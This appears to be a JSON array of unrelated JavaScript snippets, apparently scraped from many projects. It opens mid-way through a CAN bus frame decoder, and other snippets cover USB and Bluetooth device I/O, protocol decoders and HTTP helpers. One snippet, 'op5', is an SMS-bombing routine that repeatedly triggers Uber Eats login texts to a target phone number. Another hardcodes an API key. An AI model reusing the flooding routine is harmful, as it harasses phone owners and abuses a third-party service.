(db < 16) //read crc bits\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif (sb == 4)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tstuffing_ok = check_stuffing();\\t\\t// Stuffed bit\\n\\n\\t\\t\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t // Regular bit\\n\\t\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb / 2, spb);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\n\\t\\t\\t\\t\\t\\t\\tif (bits[b] == last_bit)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tsb++;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\t\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tval = 0;\\n\\t\\t\\t\\t\\tb -= 16;\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < 15; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[b + c];\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tcrc_rg = 0;\\t\\t// Now calculate our own crc to compare\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < b; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tcrc_nxt = bits[c] ^ ((crc_rg >> 14) & 0x1);\\n\\t\\t\\t\\t\\t\\tcrc_rg = crc_rg << 1;\\n\\n\\t\\t\\t\\t\\t\\tif (crc_nxt == 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tcrc_rg ^= 0x4599;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tcrc_rg &= 0x7fff;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] - (0.5 * spb) + m, bit_pos[b + 14] + (0.5 * spb) - m); \\t// Add the ID item\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + 14] + (0.5 * spb_hs) - m_hs); \\t// Add the ID item\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC : \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC\\\");\\n\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (val == crc_rg)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1 ,\\\"CRC\\\", int_to_str_hex(val) + \\\" OK\\\", dark_colors.yellow, channel_color);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG, Should be: \\\" + int_to_str_hex(crc_rg));\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG!\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"E!\\\");\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"CRC\\\", int_to_str_hex(val) + \\\"(WRONG)\\\", dark_colors.red, channel_color);\\n\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"CRC ERROR\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (captured)\\\",int_to_str_hex(val), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (calculated)\\\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"!\\\");\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tb += 15;\\n\\t\\t\\t\\t\\tstate = GET_ACK;\\n\\t\\t\\t\\t}\\n\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_ACK: \\t// and the EOF too.\\n\\t\\t\\t\\tbit_pos[b] -= spb;// CRC delimiter\\n\\t\\t\\t\\tack_chk = bit_sampler_next(ch);\\n\\t\\t\\t\\tbit_sampler_next(ch); \\t// ACK delimiter\\n\\n\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[b] + (1.5 * spb) + m, bit_pos[b] + (3.5 * spb) - m); \\t// Add the ACK item\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[b] + (2.5 * spb_hs) + m, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m); \\t// Add the ACK item\\n\\n\\t\\t\\t\\tif(ack_chk == 1)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"NO ACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"NACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!A\\\");\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"A\\\");\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"ACK\\\", ack_chk.toString(10), dark_colors.black, channel_color);\\n\\t\\t\\t\\teof_chk = 0;\\n\\t\\t\\t\\tfor (c = 0; c < 7; c++)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\teof_chk += bit_sampler_next(ch);\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] + (3.5 * spb) + m, bit_pos[b] + (10.5 * spb) - m); \\t// Add the EOF item\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m, bit_pos[b] + (2.5 * spb_hs) + 9*spb - m); \\t// Add the EOF item\\n\\n\\t\\t\\t\\tif (eof_chk == 7)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"END OF FRAME OK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EOF OK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EOF\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"E\\\");\\n\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EOF\\\", \\\"\\\", dark_colors.blue, channel_color);\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"END OF FRAME ERR\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EOF ERR!\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!EOF!\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!E!\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!\\\");\\n\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EOF\\\",\\\"MISSING!\\\", dark_colors.red, channel_color);\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b] + (10.5 * spb));\\n\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\tstate = GET_SOF;\\n\\t\\t\\t\\t//dec_item_new(ch, bit_pos[0] - (0.5 * spb) + m, bit_pos[b] + (0.5 * spb) - m); \\t//<=========================DEBUG ALL THE FRAME\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t}\\n}\",\n \"function sendCompleted(usbEvent) {\\n\\tif (chrome.runtime.lastError) {\\n\\t\\tconsole.error(\\\"sendCompleted Error:\\\", chrome.runtime.lastError.message);\\n\\t}\\n\\n\\tif (usbEvent) {\\n\\t\\tif (usbEvent.data) {\\n\\t\\t\\tvar buf = new Uint8Array(usbEvent.data);\\n\\t\\t\\tconsole.log(\\\"sendCompleted Buffer:\\\", usbEvent.data.byteLength, buf);\\n\\t\\t}\\n\\t\\tif (usbEvent.resultCode !== 0) {\\n\\t\\t\\tchangeState(state.connected);\\n\\t\\t\\terrorln(\\\"Error writing to device: \\\" + chrome.runtime.lastError.message);\\n\\t\\t}\\n\\t}\\n}\",\n \"getPower() {\\n console.log('getPower called');\\n\\n return this.getLampResURI()\\n .then(response => {\\n return response.power.value;\\n });\\n }\",\n \"function getvolume(dev, callback)\\n{\\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\\n {\\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-15';\\n webphone_api.plhandler.GetVolume(dev, callback);\\n }\\n}\",\n \"function getBzData(uri, method) {\\n var dfd = $.Deferred();\\n\\n // defer get binary\\n var request = new XMLHttpRequest();\\n request.onload = function () {\\n // Process the response\\n if (request.status >= 200 && request.status < 300) {\\n // If successful\\n console.log('request-received');\\n\\n var bytes = bz2.decompress(new Uint8Array(request.response));\\n var jsonObj = JSON.parse(utfDecoder.decode(bytes));\\n dfd.resolve(jsonObj);\\n } else {\\n // If failed\\n dfd.reject({\\n status: request.status,\\n statusText: request.statusText\\n });\\n }\\n }\\n request.open('GET', uri, true);\\n request.responseType = \\\"arraybuffer\\\";\\n request.send();\\n\\n return dfd.promise();\\n }\",\n \"function getHumidity(){\\n execFile('./scripts/humidity', ['hum'], (error, stdout, stderr) => {\\n if (error) {\\n console.error('stderr', stderr);\\n throw error;\\n }\\n console.log('hum: ' + stdout);\\n readData.hum = stdout\\n })\\n}\",\n \"function onEvent(usbEvent) {\\n\\tconsole.log(\\\"onEvent\\\");\\n\\tif (usbEvent.resultCode) {\\n\\t\\tif (usbEvent.resultCode == USB_ERROR_TRANSFER_FAILED) {\\n\\t\\t\\t// Device is connected but we failed to send data.\\n\\t\\t\\tchangeState(state.connected);\\n\\t\\t} else if (usbEvent.resultCode == USB_ERROR_DEVICE_DISCONNECTED) {\\n\\t\\t\\tchangeState(state.disconnected);\\n\\t\\t}\\n\\t\\tconsole.log(chrome.runtime.lastError.message + \\\"(code: \\\" + usbEvent.resultCode + \\\") [onEvent]\\\");\\n\\t\\treturn;\\n\\t}\\n\\n\\tvar dv = new DataView(usbEvent.data);\\n\\tvar len = dv.getUint8(0);\\n\\tvar cmd = dv.getUint8(1);\\n\\n\\tswitch (cmd) {\\n\\t\\tcase CMD_DEBUG:\\n\\t\\t{\\n\\t\\t\\tvar msg = \\\"\\\";\\n\\t\\t\\tfor (var i = 0; i < len; i++) {\\n\\t\\t\\t\\tmsg += String.fromCharCode(dv.getUint8(i+2));\\n\\t\\t\\t}\\n\\t\\t\\tmessageln(\\\"debug: '\\\" + msg + \\\"'\\\");\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tcase CMD_PING:\\n\\t\\t\\tmessageln(\\\"ping\\\");\\n\\t\\t\\tbreak;\\n\\t\\tcase CMD_VERSION:\\n\\t\\t{\\n\\t\\t\\tvar version = \\\"\\\" + dv.getUint8(2) + \\\".\\\" + dv.getUint8(3);\\n\\t\\t\\tmessageln(\\\"command: Version \\\" + version);\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tdefault:\\n\\t\\t\\terrorln(\\\"unknown command\\\");\\n\\t\\t\\tbreak;\\n\\t}\\n\\n\\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\\n}\",\n \"async function enableBloodPressure() {\\n const command = hexToBase64(\\\"55 aa 04 02 01 f8\\\");\\n // console.log(\\\"TCL: enableBloodPressure -> command\\\", command)\\n const didWrite = await Bluetooth.writeToDevice(command);\\n // console.log(\\\"TCL: enableBloodPressure -> didWrite\\\", didWrite)\\n return didWrite;\\n}\",\n \"_pingDevice () {\\n this._ble.read(\\n BoostBLE.service,\\n BoostBLE.characteristic,\\n false\\n );\\n }\",\n \"RetrieveBeaconBlock(blockHash = '', verbosity = '1') {}\",\n \"async function requestBarcodePrinter() {\\n console.log(navigator)\\n navigator.usb &&\\n navigator.usb\\n .requestDevice({\\n filters: [\\n {\\n vendorId: 5380,\\n // classCode: 0xff, // vendor-specific\\n // protocolCode: 0x01,\\n },\\n ],\\n })\\n .then(selectedDevice => {\\n setBarcodePrinter(selectedDevice)\\n })\\n .catch(errorInfo => {\\n console.log(errorInfo)\\n // message.error(i18n.t`Cannot find label printer`)\\n })\\n }\",\n \"async GetValueBytes(id, command) {\\n var packet = new DpsPacket(id, DpsConstants.sender, command, [0,0,0,0,0,0,0,0]);\\n var result = await this.PacketIO(packet);\\n if ((result && (result.sender != id || result.command != command)) || result == null) return null;\\n else return result.data;\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\\n return new Promise((resolve, reject) => {\\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\\n console.log(\\\"Sending 'START DFU' command\\\");\\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\\n .then( () => this._send_packet_data(image_size_packet) )\\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\\n //TODO .then( () => this._clear_received_response() )\\n });\\n }\",\n \"async function op5(numero, quantidade) {\\n\\t\\n\\tvar ubereats = await tools.curl('https://cn-phx2.cfe.uber.com/rt/silk-screen/submit-form', `{\\\"formContainerAnswer\\\":{\\\"formAnswer\\\":{\\\"flowType\\\":\\\"INITIAL\\\",\\\"screenAnswers\\\":[{\\\"screenType\\\":\\\"PHONE_NUMBER_INITIAL\\\",\\\"fieldAnswers\\\":[{\\\"fieldType\\\":\\\"PHONE_COUNTRY_CODE\\\",\\\"phoneCountryCode\\\":\\\"55\\\"},{\\\"fieldType\\\":\\\"PHONE_NUMBER\\\",\\\"phoneNumber\\\":\\\"${numero}\\\"},{\\\"fieldType\\\":\\\"THIRD_PARTY_CLIENT_ID\\\",\\\"thirdPartyClientID\\\":\\\"\\\"}]}],\\\"firstPartyClientID\\\":\\\"\\\"}}}`, {\\n\\t\\t'Host': 'cn-phx2.cfe.uber.com',\\n\\t\\t'x-uber-client-name': 'eats',\\n\\t\\t'x-uber-device': 'android',\\n\\t\\t'x-uber-device-language': 'pt_BR',\\n\\t\\t'x-uber-client-version': '1.277.10005',\\n\\t\\t'accept': 'application/json',\\n\\t\\t'content-type': 'application/json; charset=UTF-8',\\n\\t\\t'user-agent': 'okhttp/3.12.0-uber2'\\n\\t\\t}, 'POST').then((res) => {\\n\\t\\t\\tif (res.body.match(/SIGN_IN/i)) {\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (spam.enviados == 0) {\\n\\t\\t\\t\\t\\tb1.start(quantidade, 0, {\\n\\t\\t\\t\\t\\t\\tenviados: spam.enviados\\n\\t\\t\\t\\t\\t});\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tspam.enviados++\\n\\t\\t\\t\\tspam.status = 1\\n\\t\\t\\t\\tb1.update(spam.enviados, {\\n\\t\\t\\t\\t\\tenviados: spam.enviados\\n\\t\\t\\t\\t});\\n\\t\\t\\t\\t// console.log('Sucesso » [ Numero: %s, Enviados: %s, Retorno: SMS enviado com sucesso. ] #ServerMP'.success, numero, spam.enviados);\\n\\t\\t\\t} else if (res.body.match(/SMS_OTP_TOO_MANY_REQUESTS/i)) {\\n\\t\\t\\t\\tconsole.clear();\\n\\t\\t\\t\\tprocess.exit(console.log('Falhou » [ Excesso de tentativas, tente novamente em breve. ] #ServerMP'.error));\\n\\t\\t\\t} else if (res.body.match(/BANNED/)) {\\n\\t\\t\\t\\tconsole.clear();\\n\\t\\t\\t\\tprocess.exit(console.log('Falhou » [ Numero inserido está com conta desativada. ] #ServerMP'.error));\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tconsole.clear();\\n\\t\\t\\t\\tprocess.exit(console.log('Falhou » [ Ocorreu um error desconhecido. ] #ServerMP'.error));\\n\\t\\t\\t}\\n\\t});\\n\\t\\n\\t// Verificar se o spam ja foi finalizado.\\n\\tif (quantidade == spam.enviados) {\\n\\t\\tb1.start(quantidade, quantidade, {\\n\\t\\t\\tenviados: spam.enviados\\n\\t\\t});\\n\\t\\tprocess.exit(console.log('\\\\n\\\\nAtaque finalizado! #ServerMP'.help));\\n\\t} else {\\n\\t\\top5(numero, quantidade);\\n\\t}\\n\\t\\n}\",\n \"async function writepumpdurationtoBLE(num){\\n console.log('Attempting bluetooth write')\\n var arrInt8 = toBytesInt16(num)\\n ble.twrite_pumpduration=performance.now()\\n try{\\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\\n console.log(textstr)\\n ble.statustext = textstr\\n // \\n //wdm(textstr)\\n }\\n catch(error) {\\n var textstr = 'Could not write pump duration to ble device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
\\\" + textstr\\n \\n }\\n}\",\n \"function cerial() {\\n getPortInfo()\\n .then( (portDetails) => handleSensor(portDetails))\\n .catch((error) => console.log(error));\\n // port.write('ROBOT PLEASE RESPOND\\\\n');\\n // The parser will emit any string response\\n}\",\n \"function get24HBTCData() {\\r\\n\\tvar result;\\r\\n\\tvar request = new XMLHttpRequest();\\r\\n\\trequest.open('GET',\\r\\n\\t\\t'https://min-api.cryptocompare.com/data/v2/histohour?fsym=BTC&tsym=USD&limit=24&api_key=45419ed9fb65b31861ccb009765d97bb619e9eccedc722044457d066cbfb0a8b', false)\\r\\n\\trequest.send(null);\\r\\n\\tresult = JSON.parse(request.responseText);\\r\\n\\treturn result;\\r\\n}\",\n \"function getHSDevices(filter,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action=getdevices&filter='+filter+'&verbose=yes',\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){log(\\\"Got error: \\\" + e.message); });\\n });\\n}\",\n \"function Bus_Phase(decoder_items) // 65001-65006\\n{\\n var str = \\\"\\\";\\n switch (data_nb)\\n {\\n case 0 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 1 :\\n {\\n multi_byte_value += (hex_value<<8);\\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"Line-Line AC RMS Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n decoder_items.end_sample_index,\\n \\\"Data\\\",\\n (\\\"Line-Line Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\"),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n case 2 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 3 :\\n {\\n multi_byte_value += (hex_value<<8);\\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"Line-Neutral AC RMS Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n decoder_items.end_sample_index,\\n \\\"Data\\\",\\n (\\\"Line-Neutral Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\"),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n case 4 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 5 :\\n {\\n multi_byte_value += (hex_value<<8);\\n multi_byte_value = Math.floor(multi_byte_value/128);\\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"AC Frequency : \\\" + multi_byte_value + \\\"Hz\\\");\\n ScanaStudio.dec_item_add_content(multi_byte_value + \\\" kWh\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n decoder_items.end_sample_index,\\n \\\"Data\\\",\\n (\\\"AC Frequency : \\\" + multi_byte_value + \\\"Hz\\\"),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n default :\\n {\\n packet_title = \\\"Filled Data\\\";\\n if (hex_value == 255)\\n {\\n item_content = \\\"Filled with 0xFF\\\";\\n }\\n else\\n {\\n item_content = \\\"0x\\\" + pad(hex_value.toString(16),2) + \\\", should be 0xFF\\\";\\n types_title = ScanaStudio.PacketColors.Error.Title;\\n types_content = ScanaStudio.PacketColors.Error.Content;\\n }\\n break;\\n }\\n }//end switch (data_nb)\\n}//end function Bus_Phase_C\",\n \"function proprietary_fast_packet (decoder_items) //126720/130816/130817/130818/130819/130820/130821/130824/130827/130828/130831/130832/130834/130835/130836/130837/130838/130839/130840/130842/130843/130845/130847/130850/130851/130856/130880/130881/130944\\n{\\n var str = \\\"\\\";\\n switch (fast_packet_byte)\\n {\\n case 1 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 2 :\\n {\\n var manufacturer_code = multi_byte_value + (((hex_value>>5)&0x7)<<8);\\n var reserved = (hex_value>>3)&0x3;\\n var industry_code = hex_value&0x7;\\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*3;\\n str = LOOKUP_MANUFACTURER(manufacturer_code);\\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\\n ScanaStudio.dec_item_add_content(\\\"Manufacturer Code : \\\" + str);\\n ScanaStudio.dec_item_add_content(\\\"\\\" + str);\\n ScanaStudio.dec_item_add_content(str);\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n end_item,\\n \\\"Fast Packet Data\\\",\\n (\\\"Manufacturer Code : \\\" + str),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n start_item = end_item;\\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*5;\\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\\n ScanaStudio.dec_item_add_content(\\\"Reserved : 0x\\\" + pad(reserved.toString(16),1));\\n ScanaStudio.dec_item_add_content(\\\"Reserved\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n end_item,\\n \\\"Fast Packet Data\\\",\\n (\\\"Reserved : 0x\\\" + pad(reserved.toString(16),1)),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n str = LOOKUP_INDUSTRY_CODE(industry_code);\\n ScanaStudio.dec_item_new(decoder_items.channel_index, end_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"Industry Code : \\\" + str);\\n ScanaStudio.dec_item_add_content(str);\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n end_item,\\n decoder_items.end_sample_index,\\n \\\"Fast Packet Data\\\",\\n (\\\"Industry Code : \\\" + str),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n default :\\n {\\n packet_title = \\\"Byte n°\\\" + fast_packet_byte;\\n item_content = \\\"0x\\\" + pad(hex_value.toString(16),2);\\n break;\\n }\\n }\\n}\",\n \"loadSample(url, name, callback)\\n {\\n let request = new XMLHttpRequest();\\n request.open('GET', url, true);\\n request.responseType = 'arraybuffer';\\n request.onload = function()\\n {\\n let 